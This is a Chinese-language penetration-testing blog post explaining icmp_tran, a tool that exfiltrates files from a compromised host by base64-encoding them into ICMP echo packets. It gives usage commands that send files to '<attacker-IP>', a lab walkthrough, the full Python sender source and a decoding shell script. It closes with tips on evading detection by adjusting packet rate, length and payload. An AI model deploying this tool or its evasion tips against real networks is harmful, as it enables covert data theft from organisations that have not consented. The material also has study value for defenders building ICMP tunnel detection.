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前言

本文研究ICMP隧道的一个工具，icmp_tran

github：github.com/NotSoSecure/icmp_tunnel_ex_filtrate

一、概述

1、简介

最后更新于2015年，用Python编写，将文件base64编码后，通过ICMP包传输

条件：

• 目标机可以ping出去
• 目标机管理员权限

2、原理

ICMP隧道原理参见：内网渗透系列：内网隧道之ICMP隧道

3、使用

（1）服务端

tucpdump监听并下载文件

sudo tcpdump -i eth0 icmp and icmp[icmptype]=icmp-echo -XX -vvv -w output.txt

运行sh脚本

./tran.sh

（2）客户端

windows

icmp_tran.exe <file> <attacker-IP>

linux

sudo python icmp_tran.py <file> <attacker-IP>

二、实践

1、场景

攻击机（服务端）：kali 192.168.10.128
目标机（客户端）：ubuntu 192.168.10.129

目标机可以ping通攻击机

2、建立隧道

（1）攻击机监听

tucpdump监听并下载文件

sudo tcpdump -i eth0 icmp and icmp[icmptype]=icmp-echo -XX -vvv -w output.txt

（2）目标机发送

准备一个test.zip文件

建立隧道发送

sudo python icmp_tran.py test.zip 192.168.10.128

（3）攻击机转换

收到文件

进行转换

成功得到zip文件

3、抓包看看

可以看到都是ICMP包，data里是base64编码

三、探索

1、源码与分析

（1）icmp_tran.py

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
import time
import socket
import struct
import select
import random
import asyncore
import os
import sys
ICMP_ECHO_REQUEST = 8 
TIME_OUT = 1 #时长视情况而定
ICMP_CODE = socket.getprotobyname('icmp')
ERROR_DESCR = { 

1: ' - Note that ICMP messages can only be sent from processes running as root.',
10013: ' - Note that ICMP messages can only be sent by users or processes with administrator rights.'
}
__all__ = ['create_packet', 'send_packet', 'verbose_ping', 'PingQuery', 'multi_ping_query']
def checksum(source_string):
sum = 0
count_to = (len(source_string) / 2) * 2
count = 0
while count < count_to:
this_val = ord(source_string[count + 1])*256+ord(source_string[count])
sum = sum + this_val
sum = sum & 0xffffffff
count = count + 2
if count_to < len(source_string):
sum = sum + ord(source_string[len(source_string) - 1])
sum = sum & 0xffffffff
sum = (sum >> 16) + (sum & 0xffff)
sum = sum + (sum >> 16)
answer = ~sum
answer = answer & 0xffff
answer = answer >> 8 | (answer << 8 & 0xff00)
return answer
def create_packet(id):
"""构建一个echo request packet"""
# header的构造是type (8), code (8), checksum (16), id (16), sequence (16)
header = struct.pack('bbHHh', ICMP_ECHO_REQUEST, 0, 0, id, 1)
data = "$$START$$"+line
my_checksum = checksum(header + data)
header = struct.pack('bbHHh', ICMP_ECHO_REQUEST, 0, socket.htons(my_checksum), id, 1)
return header + data
def send_packet(dest_addr, timeout=TIME_OUT):
# 确认能发送
try:
my_socket = socket.socket(socket.AF_INET, socket.SOCK_RAW, ICMP_CODE)
except socket.error as e:
if e.errno in ERROR_DESCR: # 不是高权限
raise socket.error(''.join((e.args[1], ERROR_DESCR[e.errno])))
raise 
try:
host = socket.gethostbyname(dest_addr) # host
except socket.gaierror:
return
# 创建packet
packet_id = int((id(timeout) * random.random()) % 65535)
packet = create_packet(packet_id)
# 发送packet
while packet:
sent = my_socket.sendto(packet, (dest_addr, 1))
packet = packet[sent:]
delay = receive_packet(my_socket, packet_id, time.time(), timeout)
my_socket.close()
return delay
def receive_packet(my_socket, packet_id, time_sent, timeout):
time_left = timeout
while True:
ready = select.select([my_socket], [], [], time_left)
if ready[0] == []: # Timeout
return
time_received = time.time()
rec_packet, addr = my_socket.recvfrom(1024)
icmp_header = rec_packet[20:28]
type, code, checksum, p_id, sequence = struct.unpack('bbHHh', icmp_header)
if p_id == packet_id:
return time_received - time_sent
time_left -= time_received - time_sent
if time_left <= 0:
return
def verbose_ping(dest_addr, timeout=2*TIME_OUT, count=1):
for i in range(count):
print('ping {}...'.format(dest_addr))
delay = send_packet(dest_addr, timeout)
if delay == None:
print('failed. (Timeout within {} seconds.)'.format(timeout))
else:
delay = round(delay * 1000.0, 4)
print('get ping in {} milliseconds.'.format(delay))
print('')
class PingQuery(asyncore.dispatcher):
def __init__(self, host, p_id, timeout=0.5, ignore_errors=False):
asyncore.dispatcher.__init__(self)
try:
self.create_socket(socket.AF_INET, socket.SOCK_RAW, ICMP_CODE)
except socket.error as e:
if e.errno in ERROR_DESCR:
raise socket.error(''.join((e.args[1], ERROR_DESCR[e.errno])))
raise 
self.time_received = 0
self.time_sent = 0
self.timeout = timeout
self.packet_id = int((id(timeout) / p_id) % 65535)
self.host = host
self.packet = create_packet(self.packet_id)
if ignore_errors:
self.handle_error = self.do_not_handle_errors
self.handle_expt = self.do_not_handle_errors
def writable(self):
return self.time_sent == 0
def handle_write(self):
self.time_sent = time.time()
while self.packet:
sent = self.sendto(self.packet, (self.host, 1))
self.packet = self.packet[sent:]
def readable(self):
if (not self.writable()
and self.timeout < (time.time() - self.time_sent)):
self.close()
return False
return not self.writable()
def handle_read(self):
read_time = time.time()
packet, addr = self.recvfrom(1024)
header = packet[20:28]
type, code, checksum, p_id, sequence = struct.unpack("bbHHh", header)
if p_id == self.packet_id:
self.time_received = read_time
self.close()
def get_result(self):
if self.time_received > 0:
return self.time_received - self.time_sent
def get_host(self):
return self.host
def do_not_handle_errors(self):
pass
def create_socket(self, family, type, proto):
sock = socket.socket(family, type, proto)
sock.setblocking(0)
self.set_socket(sock)
self.family_and_type = family, type
def handle_connect(self):
pass
def handle_accept(self):
pass
def handle_close(self):
self.close()
def multi_ping_query(hosts, timeout=TIME_OUT, step=512, ignore_errors=False):
results, host_list, id = { 
}, [], 0
for host in hosts:
try:
host_list.append(socket.gethostbyname(host))
except socket.gaierror:
results[host] = None
while host_list:
sock_list = []
for ip in host_list[:step]: #step最多是512
id += 1
sock_list.append(PingQuery(ip, id, timeout, ignore_errors))
host_list.remove(ip)
asyncore.loop(timeout)
for sock in sock_list:
results[sock.get_host()] = sock.get_result()
return results
if __name__ == '__main__':
msg = 'missing mandatory options. Execute as root:\n'
msg += './icmpsh-m.py <source IP address> <destination IP address>\n'
print(msg)
file=sys.argv[1]
destination = sys.argv[2]
# os.system("certutil -encode "+ file +" test.txt") # windows
os.system("base64 "+ file +" > test.txt") # linux
f=open("test.txt", "r")
for line in f:	
text1= line[0:32]
verbose_ping(destination)
host_list = [destination]
for host, ping in multi_ping_query(host_list).iteritems():
print(host, '=', ping)

（2）tran.sh

就是base64解码得到文件

#!/bin/bash
strings output.txt >> output1.txt
echo "[+] parsing the output.txt file"
grep -i start output1.txt | uniq >> transmitted.txt
sed -i -e 's/\$\$START\$\$//g' transmitted.txt
echo "[+] cleaning"
rm output1.txt
rm output.txt
echo "[+] tranmistted.txt created"
cat transmitted.txt |base64 -d >>test
echo "[+] file test created"

2、检测与绕过

（1）异常ICMP数据包数量

0.01s内10个包，当然这是没有做相关策略，可以改为和ping一样的间隔，主要是这是传个文件就结束了，所以maybe可以天下武功唯快不破，视情况而定

（2）异常ICMP包长度

已经做了拆分

（3）payload内容

payload内容这个还是没办法避免的事情

正常ping命令：

windows系统下ping默认传输的是：abcdefghijklmnopqrstuvwabcdefghi，共32bytes
linux系统下，ping默认传输的是48bytes，前8bytes随时间变化，后面的固定不变，内容为!”#$%&’()+,-./01234567

内容肯定还是与正常ping命令不同
不过send和receive的内容相同

结语

简单试下怎么传文件